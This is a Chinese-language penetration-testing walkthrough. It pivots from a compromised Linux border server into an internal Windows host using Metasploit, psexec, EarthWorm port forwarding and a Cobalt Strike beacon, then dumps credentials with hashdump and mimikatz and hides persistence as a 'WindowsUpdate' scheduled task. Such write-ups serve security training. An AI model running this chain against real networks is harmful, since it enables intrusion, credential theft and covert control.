
0x00 前言在一次内网渗透实战中遇到了一个典型场景边界服务器为Linux内网Windows主机无法直接出网。原版Cobalt StrikeCS的Beacon无法直接上线Linux主机并且懒得弄Linux插件因此选择先用MSF拿下边界服务器再通过MSF横向渗透到内网Windows主机最后通过EW端口转发打通隧道将Windows主机上线到CS实现完整的C2控制链路。本文记录完整的渗透思路与操作过程希望对遇到类似场景的师傅们有所帮助。0x01 环境说明网络拓扑简图text┌─────────┐ ┌─────────────────┐ ┌─────────────────┐ │ 攻击机 │ ───▶ │ 边界Linux服务器 │ ───▶ │ 内网Windows主机 │ │ (Kali) │ │ (双网卡) │ │ (不出网) │ └─────────┘ └─────────────────┘ └─────────────────┘ 公网IP 公网IP/内网IP 内网IP踩坑前提项目说明边界服务器Linux系统拥有公网IP同时可访问内网内网Windows无法直接访问外网但能与边界Linux通信核心痛点Linux无法直接上线原版CS → 先走MSFWindows无法出网 → 需要端口转发0x02 第一阶段拿下边界Linux服务器入口点通过前期信息收集发现边界Linux服务器存在可利用漏洞具体入口点略。使用MSF成功获取边界服务器的Shell权限textmsf6 exploit(multi/handler) run [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Sending stage (3012516 bytes) to x.x.x.x [*] Meterpreter session 1 opened确认边界服务器为双网卡环境textmeterpreter ifconfig Interface 1: eth0 (公网) Interface 2: eth1 (内网 172.16.1.0/24)这意味着我们可以通过这台机器作为跳板机访问内网资源。0x03 第二阶段内网探测与横向移动添加内网路由在MSF中通过边界服务器添加内网路由使MSF能够访问内网段textmeterpreter run autoroute -s 172.16.1.0/24 meterpreter run autoroute -p Active Routing Table 172.16.1.0/24 Session 1内网存活主机扫描使用MSF的auxiliary模块探测内网存活主机和开放端口textmsf6 auxiliary(scanner/portscan/tcp) set RHOSTS 172.16.1.0/24 msf6 auxiliary(scanner/portscan/tcp) set PORTS 445,3389,80,22 msf6 auxiliary(scanner/portscan/tcp) run发现内网存在一台Windows主机172.16.1.115开放了445端口SMB和3389端口RDP。尝试SMB横向移动这里尝试通过MSF的SMB横向模块使用密码喷洒或哈希传递的方式拿下内网Windowstextmsf6 exploit(windows/smb/psexec) set RHOSTS 172.16.1.115 msf6 exploit(windows/smb/psexec) set SMBUser administrator msf6 exploit(windows/smb/psexec) set SMBPass password123 msf6 exploit(windows/smb/psexec) run成功获取内网Windows主机的Meterpreter会话。0x04 第三阶段核心挑战——打通CS上线通道问题分析此时我们面临的核心问题是内网Windows主机无法直接访问外网无法直接上线CSLinux边界服务器可以访问外网但Linux无法运行原版CS Beacon原版Beacon是Windows PE格式解决思路text内网Windows ──▶ 边界Linux端口转发──▶ 外网CS TeamServer核心链路内网Windows连接边界Linux的某个端口边界Linux将该端口的流量转发到外网CS TeamServer的监听端口实现Beacon的上线EW端口转发配置选择使用EWEarthWorm在边界Linux上搭建端口转发隧道。在边界Linux上传EW工具启动端口转发bash# 在边界Linux上执行 # 将本地5000端口流量转发到外网Kali的10000端口CS监听端口 ./ew -s lcx_tran -l 5000 -a 172.16.1.115 -p 10000参数解释-s lcx_tran指定端口转发模式-l 5000监听本地5000端口-a 172.16.1.115目标主机也就是我本机Kali但这里有个细节后面会说 踩坑点转发的两种方式在实际操作中遇到了一个容易混淆的问题谁监听、谁转发方案一正向转发我采用的方案text内网Windows (连接) ──▶ 边界Linux:5000 ──▶ 外网Kali:10000 (CS监听)边界Linux执行bash./ew -s lcx_tran -l 5000 -a 外网Kali_IP -p 10000-l 5000边界Linux监听5000端口-a 外网Kali_IP -p 10000将流量转发到外网Kali的10000端口内网Windows的Beacon配置LHOST 边界Linux的IP172.16.1.214LPORT 5000流量走向Beacon连接边界Linux的5000端口 → 边界Linux转发到外网Kali的10000端口 → CS TeamServer接收方案二反向中继另一种方式是通过MSF的portfwd做反向端口转发bash# 在MSF中执行将跳板机的5000端口流量转发到Kali的10000端口 portfwd add -R -p 5000 -L 172.16.1.115 -l 10000含义内网机器访问172.16.1.214:5000→ 流量转发到Kali:10000CS监听端口内网Windows的Beacon同样配置 LHOST172.16.1.214LPORT5000。生成CS Payload在CS中创建一个监听器Listener类型Beacon HTTP/HTTPS监听端口10000绑定IP0.0.0.0或Kali公网IP生成Windows可执行Beacon在CS中生成PayloadLHOST填写边界Linux的内网IP172.16.1.214LPORT填写5000将生成的Beacon上传到内网Windowsbash# 通过MSF会话上传 meterpreter upload /path/to/beacon.exe C:\\Users\\Public\\beacon.exe成功上线在内网Windows中执行Beacon流量路径如下textbeacon.exe (内网Win) ──▶ 172.16.1.214:5000 ──▶ 外网Kali:10000 ──▶ CS TeamServerCS界面中成功看到内网Windows主机上线text[] Beacon online: 172.16.1.115 (WIN-xxx) User: Administrator PID: 12340x05 后渗透阶段抓取密码哈希上线CS后可以使用CS的hashdump命令抓取Windows主机的密码哈希textbeacon hashdump Administrator:500:zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:::也可以通过mimikatz模块抓取明文密码textbeacon mimikatz privilege::debug beacon mimikatz sekurlsa::logonpasswordsSMB横向扩展通过抓到的密码哈希可以尝试SMB横向移动到内网其他主机textbeacon link 172.16.1.xxx smb权限维持bash# 创建计划任务 schtasks /create /tn WindowsUpdate /tr C:\path\beacon.exe /sc daily /st 09:000x06 关键知识点总结1. 为什么Linux不能直接上线原版CS原版CS的Beacon是Windows PE格式无法在Linux上运行。虽然CS支持Linux Beacon通过CNA插件但在实战中许多团队仍习惯先走MSF再通过MSF隧道打通CS通道。2. EW端口转发的核心逻辑方向命令格式适用场景正向转发ew -s lcx_tran -l [本地端口] -a [目标IP] -p [目标端口]流量单向转发内网→外网反向代理ew -s lcx_listen -l [本地端口] -a [目标IP] -p [目标端口]服务端反向连接多用于内网穿透3. 内网穿透的几种常见方案方案优点缺点frp功能强大支持多种协议需要配置文件较为重量级EW轻量级单文件功能相对单一MSF portfwd与MSF无缝集成仅限MSF会话内使用SSH隧道Linux原生支持依赖SSH服务0x07 写在最后本次渗透的核心思路是分层突破 隧道打通。分层突破边界Linux → 内网Windows每一步完成权限获取和信息收集隧道打通通过EW在边界Linux上搭建端口转发隧道解决内网Windows不出网的问题C2统一最终将所有主机纳入CS统一控管实现完整的攻击链路整个过程中最大的坑点在于内网Windows的Beacon需要将LHOST配置为边界Linux的IP而不是直接配置外网IP。这个思维转换是打通隧道的关键。希望本文对正在学习内网渗透的师傅们有所帮助。免责声明本文仅供技术学习与交流请勿用于非法用途。所有操作请在授权环境下进行。